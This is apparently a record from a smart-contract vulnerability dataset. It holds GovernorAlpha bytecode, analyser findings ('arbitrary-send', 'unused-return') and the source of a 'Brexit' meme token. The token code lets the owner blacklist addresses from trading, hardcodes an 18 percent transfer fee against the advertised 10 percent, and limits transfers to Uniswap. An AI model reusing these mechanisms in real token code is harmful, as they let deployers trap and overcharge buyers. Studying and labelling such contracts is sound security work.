611b91565b6040518363ffffffff1660e01b8152600401610b74929190612662565b60206040518083038186803b158015610b8c57600080fd5b505afa158015610ba0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc4919061249b565b6001600160601b0316105b610beb5760405162461bcd60e51b81526004016105e190612c89565b600b8101805460ff1916600117905560005b6003820154811015610cf7576000546003830180546001600160a01b039092169163591fcdfe919084908110610c2f57fe5b6000918252602090912001546004850180546001600160a01b039092169185908110610c5757fe5b9060005260206000200154856005018581548110610c7157fe5b90600052602060002001866006018681548110610c8a57fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610cb9959493929190612764565b600060405180830381600087803b158015610cd357600080fd5b505af1158015610ce7573d6000803e3d6000fd5b505060019092019150610bfd9050565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c83604051610d2791906127f5565b60405180910390a1505050565b6002546001600160a01b031681565b60408051808201909152601e81527f44726f7073204e4654204c6f616e7320476f7665726e6f7220416c706861000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fabe144f89bf8ca7697ea18f94ae30b0d013ed66d28110946003e5f4930e8be52610dc4611bb9565b30604051602001610dd894939291906127fe565b60405160208183030381529060405280519060200120905060007f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee8787604051602001610e2793929190612822565b60405160208183030381529060405280519060200120905060008282604051602001610e54929190612633565b604051602081830303815290604052805190602001209050600060018288888860405160008152602001604052604051610e91949392919061283a565b6020604051602081039080840390855afa158015610eb3573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ee65760405162461bcd60e51b81526004016105e190612deb565b610ef1818a8a61199c565b505050505050505050565b6002546001600160a01b03163314610f265760405162461bcd60e51b81526004016105e190612f8c565b600280546001600160a01b0319169055565b600a90565b6002546001600160a01b03163314610f675760405162461bcd60e51b81526004016105e190612b3c565b600080546040516001600160a01b0390911691633a66f90191839190610f9190879060200161264e565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401610fc0949392919061267b565b602060405180830381600087803b158015610fda57600080fd5b505af1158015610fee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106999190612347565b6969e10de76676d080000090565b6002546001600160a01b0316331461104a5760405162461bcd60e51b81526004016105e19061287f565b6000805460408051630e18b68160e01b815290516001600160a01b0390921692630e18b6819260048084019382900301818387803b15801561108b57600080fd5b505af115801561109f573d6000803e3d6000fd5b50505050565b6000546001600160a01b031681565b60035481565b60006110c4611012565b600180546001600160a01b03169063782d6fe19033906110e5904390611b91565b6040518363ffffffff1660e01b8152600401611102929190612662565b60206040518083038186803b15801561111a57600080fd5b505afa15801561112e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611152919061249b565b6001600160601b0316116111785760405162461bcd60e51b81526004016105e190612d8e565b8451865114801561118a575083518651145b8015611197575082518651145b6111b35760405162461bcd60e51b81526004016105e190612c1f565b85516111d15760405162461bcd60e51b81526004016105e190612d42565b6111d9610f38565b865111156111f95760405162461bcd60e51b81526004016105e190612bac565b33600090815260056020526040902054801561127657600061121a82610941565b9050600181600781111561122a57fe5b14156112485760405162461bcd60e51b81526004016105e190612e3a565b600081600781111561125657fe5b14156112745760405162461bcd60e51b81526004016105e190612ab9565b505b600061128443610aab61093c565b9050600061129482610aab610524565b60038054600101905590506112a7611d1c565b604051806101a001604052806003548152602001336001600160a01b03168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060046000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160020155606082015181600301908051906020019061138a929190611d91565b50608082015180516113a6916004840191602090910190611df6565b5060a082015180516113c2916005840191602090910190611e3d565b5060c082015180516113de916006840191602090910190611e96565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff02191690831515021790555090505080600001516005600083602001516001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e6040516114c499989796959493929190613010565b60405180910390a1519998505050505050505050565b60046114e582610941565b60078111156114f057fe5b1461150d5760405162461bcd60e51b81526004016105e1906128dc565b600081815260046020818152604080842084548251630d48571f60e31b815292519195946115629442946001600160a01b0390931693636a42b8f8938084019390829003018186803b158015610a7357600080fd5b905060005b600383015481101561170a5761170283600301828154811061158557fe5b6000918252602090912001546004850180546001600160a01b0390921691849081106115ad57fe5b90600052602060002001548560050184815481106115c757fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116555780601f1061162a57610100808354040283529160200191611655565b820191906000526020600020905b81548152906001019060200180831161163857829003601f168201915b505050505086600601858154811061166957fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152928301828280156116f75780601f106116cc576101008083540402835291602001916116f7565b820191906000526020600020905b8154815290600101906020018083116116da57829003601f168201915b505050505086611bbd565b600101611567565b50600282018190556040517f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289290610d2790859084906130f4565b7f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b611770611eef565b5060008281526004602090815260408083206001600160a01b0385168452600c018252918290208251606081018452905460ff80821615158352610100820416151592820192909252620100009091046001600160601b0316918101919091525b92915050565b60056117e282610941565b60078111156117ed57fe5b1461180a5760405162461bcd60e51b81526004016105e190612946565b6000818152600460205260408120600b8101805461ff001916610100179055905b6003820154811015611960576000546004830180546001600160a01b0390921691630825f38f91908490811061185d57fe5b906000526020600020015484600301848154811061187757fe5b6000918252602090912001546004860180546001600160a01b03909216918690811061189f57fe5b90600052602060002001548660050186815481106118b957fe5b906000526020600020018760060187815481106118d257fe5b9060005260206000200188600201546040518763ffffffff1660e01b8152600401611901959493929190612764565b6000604051808303818588803b15801561191a57600080fd5b505af115801561192e573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052611957919081019061235f565b5060010161182b565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f8260405161199091906127f5565b60405180910390a15050565b60016119a783610941565b60078111156119b257fe5b146119cf5760405162461bcd60e51b81526004016105e190612f13565b60008281526004602090815260408083206001600160a01b0387168452600c8101909252909120805460ff1615611a185760405162461bcd60e51b81526004016105e190612a6c565b600154600783015460405163782d6fe160e01b81526000926001600160a01b03169163782d6fe191611a4e918a91600401612662565b60206040518083038186803b158015611a6657600080fd5b505afa158015611a7a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a9e919061249b565b90508315611ac757611abd8360090154826001600160601b0316611b65565b6009840155611ae4565b611ade83600a0154826001600160601b0316611b65565b600a8401555b8154600160ff199091161761ff00191661010085151502176dffffffffffffffffffffffff00001916620100006001600160601b038316021782556040517f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4690611b559088908890889086906126e7565b60405180910390a1505050505050565b600082820183811015611b8a5760405162461bcd60e51b81526004016105e190612bf4565b9392505050565b600082821115611bb35760405162461bcd60e51b81526004016105e190612f5d565b50900390565b4690565b6000546040516001600160a01b039091169063f2b0653790611beb9088908890889088908890602001612718565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401611c1d91906127f5565b60206040518083038186803b158015611c3557600080fd5b505afa158015611c49573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c6d919061232b565b15611c8a5760405162461bcd60e51b81526004016105e190612cd8565b600054604051633a66f90160e01b81526001600160a01b0390911690633a66f90190611cc29088908890889088908890600401612718565b602060405180830381600087803b158015611cdc57600080fd5b505af1158015611cf0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d149190612347565b505050505050565b604051806101a001604052806000815260200160006001600160a01b031681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b828054828255906000526020600020908101928215611de6579160200282015b82811115611de657825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611db1565b50611df2929150611f0f565b5090565b828054828255906000526020600020908101928215611e31579160200282015b82811115611e31578251825591602001919060010190611e16565b50611df2929150611f2e565b828054828255906000526020600020908101928215611e8a579160200282015b82811115611e8a5782518051611e7a918491602090910190611f43565b5091602001919060010190611e5d565b50611df2929150611fb0565b828054828255906000526020600020908101928215611ee3579160200282015b82811115611ee35782518051611ed3918491602090910190611f43565b5091602001919060010190611eb6565b50611df2929150611fcd565b604080516060810182526000808252602082018190529181019190915290565b5b80821115611df25780546001600160a01b0319168155600101611f10565b5b80821115611df25760008155600101611f2f565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611f8457805160ff1916838001178555611e31565b82800160010185558215611e315791820182811115611e31578251825591602001919060010190611e16565b80821115611df2576000611fc48282611fea565b50600101611fb0565b80821115611df2576000611fe18282611fea565b50600101611fcd565b50805460018160011615610100020316600290046000825580601f10612010575061202e565b601f01602090049060005260206000209081019061202e9190611f2e565b50565b80356001600160a01b03811681146117d157600080fd5b600082601f830112612058578081fd5b813561206b61206682613129565b613102565b81815291506020808301908481018184028601820187101561208c57600080fd5b60005b848110156120b3576120a18883612031565b8452928201929082019060010161208f565b505050505092915050565b600082601f8301126120ce578081fd5b81356120dc61206682613129565b818152915060208083019084810160005b848110156120b357612104888484358a01016121cc565b845292820192908201906001016120ed565b600082601f830112612126578081fd5b813561213461206682613129565b818152915060208083019084810160005b848110156120b35761215c888484358a01016121cc565b84529282019290820190600101612145565b600082601f83011261217e578081fd5b813561218c61206682613129565b8181529150602080830190848101818402860182018710156121ad57600080fd5b60005b848110156120b3578135845292820192908201906001016121b0565b600082601f8301126121dc578081fd5b81356121ea61206682613149565b915080825283602082850101111561220157600080fd5b8060208401602084013760009082016020015292915050565b60006020828403121561222b578081fd5b611b8a8383612031565b60008060408385031215612247578081fd5b6122518484612031565b946020939093013593505050565b600080600080600060a08688031215612276578081fd5b853567ffffffffffffffff8082111561228d578283fd5b61229989838a01612048565b965060208801359150808211156122ae578283fd5b6122ba89838a0161216e565b955060408801359150808211156122cf578283fd5b6122db89838a01612116565b945060608801359150808211156122f0578283fd5b6122fc89838a016120be565b93506080880135915080821115612311578283fd5b5061231e888289016121cc565b9150509295509295909350565b60006020828403121561233c578081fd5b8151611b8a816131a5565b600060208284031215612358578081fd5b5051919050565b600060208284031215612370578081fd5b815167ffffffffffffffff811115612386578182fd5b8201601f81018413612396578182fd5b80516123a461206682613149565b8181528560208385010111156123b8578384fd5b6123c9826020830160208601613179565b95945050505050565b6000602082840312156123e3578081fd5b5035919050565b600080604083850312156123fc578182fd5b8235915061240d8460208501612031565b90509250929050565b60008060408385031215612428578182fd5b82359150602083013561243a816131a5565b809150509250929050565b600080600080600060a0868803121561245c578283fd5b85359450602086013561246e816131a5565b9350604086013560ff81168114612483578384fd5b94979396509394606081013594506080013592915050565b6000602082840312156124ac578081fd5b81516001600160601b0381168114611b8a578182fd5b6000815180845260208085019450808401835b838110156124fa5781516001600160a01b0316875295820195908201906001016124d5565b509495945050505050565b6000815180845260208085019450848183028601828601855b85811015612548578383038952612536838351612584565b9885019892509084019060010161251e565b5090979650505050505050565b6000815180845260208085019450808401835b838110156124fa57815187529582019590820190600101612568565b6000815180845261259c816020860160208601613179565b601f01601f19169290920160200192915050565b600081546001808216600081146125ce57600181146125ec5761262a565b60028304607f16865260ff198316602087015260408601935061262a565b600283048087526125fc8661316d565b60005b828110156126205781546020828b01015284820191506020810190506125ff565b8801602001955050505b50505092915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b0391909116815260200190565b6001600160a01b03929092168252602082015260400190565b600060018060a01b038616825284602083015260a06040830152601860a08301527f73657450656e64696e6741646d696e286164647265737329000000000000000060c083015260e060608301526126d660e0830185612584565b905082608083015295945050505050565b6001600160a01b039490941684526020840192909252151560408301526001600160601b0316606082015260800190565b600060018060a01b038716825285602083015260a0604083015261273f60a0830186612584565b82810360608401526127518186612584565b9150508260808301529695505050505050565b600060018060a01b038716825285602083015260a0604083015261278b60a08301866125b0565b828103606084015261275181866125b0565b6000608082526127b060808301876124c2565b82810360208401526127c28187612555565b905082810360408401526127d68186612505565b905082810360608401526127ea8185612505565b979650505050505050565b90815260200190565b938452602084019290925260408301526001600160a01b0316606082015260800190565b92835260208301919091521515604082015260600190565b93845260ff9290921660208401526040830152606082015260800190565b602081016008831061286657fe5b91905290565b600060208252611b8a6020830184612584565b60208082526039908201527f476f7665726e6f72416c7068613a3a5f5f61636365707441646d696e3a20736560408201527f6e646572206d75737420626520676f7620677561726469616e00000000000000606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a71756575653a2070726f706f73616c206360408201527f616e206f6e6c79206265207175657565642069662069742069732073756363656060820152631959195960e21b608082015260a00190565b60208082526045908201527f476f7665726e6f72416c7068613a3a657865637574653a2070726f706f73616c60408201527f2063616e206f6e6c7920626520657865637574656420696620697420697320716060820152641d595d595960da1b608082015260a00190565b6020808252604c908201527f476f7665726e6f72416c7068613a3a5f5f6578656375746553657454696d656c60408201527f6f636b50656e64696e6741646d696e3a2073656e646572206d7573742062652060608201526b33b7bb1033bab0b93234b0b760a11b608082015260a00190565b60208082526029908201527f476f7665726e6f72416c7068613a3a73746174653a20696e76616c69642070726040820152681bdc1bdcd85b081a5960ba1b606082015260800190565b6020808252602d908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f7465722060408201526c185b1c9958591e481d9bdd1959609a1b606082015260800190565b60208082526059908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c72656164792070656e64696e672070726f706f73616c00000000000000608082015260a00190565b6020808252604a908201527f476f7665726e6f72416c7068613a3a5f5f717565756553657454696d656c6f6360408201527f6b50656e64696e6741646d696e3a2073656e646572206d75737420626520676f6060820152693b1033bab0b93234b0b760b11b608082015260a00190565b60208082526028908201527f476f7665726e6f72416c7068613a3a70726f706f73653a20746f6f206d616e7960408201526720616374696f6e7360c01b606082015260800190565b6020808252601190820152706164646974696f6e206f766572666c6f7760781b604082015260600190565b60208082526044908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73616c60408201527f2066756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d6060820152630c2e8c6d60e31b608082015260a00190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2070726f706f7365722060408201526e18589bdd99481d1a1c995cda1bdb19608a1b606082015260800190565b60208082526044908201527f476f7665726e6f72416c7068613a3a5f71756575654f725265766572743a207060408201527f726f706f73616c20616374696f6e20616c7265616479207175657565642061746060820152632065746160e01b608082015260a00190565b6020808252602c908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206d7573742070726f60408201526b7669646520616374696f6e7360a01b606082015260800190565b6020808252603f908201527f476f7665726e6f72416c7068613a3a70726f706f73653a2070726f706f73657260408201527f20766f7465732062656c6f772070726f706f73616c207468726573686f6c6400606082015260800190565b6020808252602f908201527f476f7665726e6f72416c7068613a3a63617374566f746542795369673a20696e60408201526e76616c6964207369676e617475726560881b606082015260800190565b60208082526058908201527f476f7665726e6f72416c7068613a3a70726f706f73653a206f6e65206c69766560408201527f2070726f706f73616c207065722070726f706f7365722c20666f756e6420616e60608201527f20616c7265616479206163746976652070726f706f73616c0000000000000000608082015260a00190565b60208082526036908201527f476f7665726e6f72416c7068613a3a63616e63656c3a2063616e6e6f742063616040820152751b98d95b08195e1958dd5d1959081c1c9bdc1bdcd85b60521b606082015260800190565b6020808252602a908201527f476f7665726e6f72416c7068613a3a5f63617374566f74653a20766f74696e67604082015269081a5cc818db1bdcd95960b21b606082015260800190565b6020808252601590820152747375627472616374696f6e20756e646572666c6f7760581b604082015260600190565b60208082526036908201527f476f7665726e6f72416c7068613a3a5f5f61626469636174653a2073656e6465604082015275391036bab9ba1031329033b7bb1033bab0b93234b0b760511b606082015260800190565b8151151581526020808301511515908201526040918201516001600160601b03169181019190915260600190565b8981526001600160a01b03891660208201526101206040820181905260009061303b8382018b6124c2565b9050828103606084015261304f818a612555565b905082810360808401526130638189612505565b905082810360a08401526130778188612505565b90508560c08401528460e08401528281036101008401526130988185612584565b9c9b505050505050505050505050565b9889526001600160a01b0397909716602089015260408801959095526060870193909352608086019190915260a085015260c0840152151560e083015215156101008201526101200190565b918252602082015260400190565b60405181810167ffffffffffffffff8111828210171561312157600080fd5b604052919050565b600067ffffffffffffffff82111561313f578081fd5b5060209081020190565b600067ffffffffffffffff82111561315f578081fd5b50601f01601f191660200190565b60009081526020902090565b60005b8381101561319457818101518382015260200161317c565b8381111561109f5750506000910152565b801515811461202e57600080fdfea2646970667358221220390820f8375c554e2187ed811edcf1cecf19d218b28527ec7fc94fa4cc81e64364736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
1,798
0xfecfcf643e50e3738b37587851f9d10fc21620eb
/** * Brexit is Brexit! Brexit token is launching in Uniswap! Tokenomics: Total Supply: 1000000000000 Buy Limit: 1% Cooldown: 20s Marketing Fee: 6% Buyback Fee: 4% Telegram: https://t.me/brexittoken Twitter: https://twitter.com/BrexitToken Join to our mission. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Brexit is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Brexit Token | t.me/brexittoken"; string private constant _symbol = "Brexit"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 0; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _buybackAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _buybackAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_buybackAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 0; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } if (from != address(this)) { require(amount <= _maxTxAmount); } require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (20 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(8).div(10)); _buybackAddress.transfer(amount.mul(2).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, 18); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f37565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a5a565b61045e565b6040516101789190612f1c565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130d9565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612a0b565b61048d565b6040516101e09190612f1c565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061297d565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061314e565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612ad7565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061297d565b610783565b6040516102b191906130d9565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e4e565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f37565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a5a565b61098d565b60405161035b9190612f1c565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a96565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612b29565b6110d1565b005b3480156103f057600080fd5b5061040b600480360381019061040691906129cf565b61121a565b60405161041891906130d9565b60405180910390f35b60606040518060400160405280601f81526020017f42726578697420546f6b656e207c20742e6d652f627265786974746f6b656e00815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040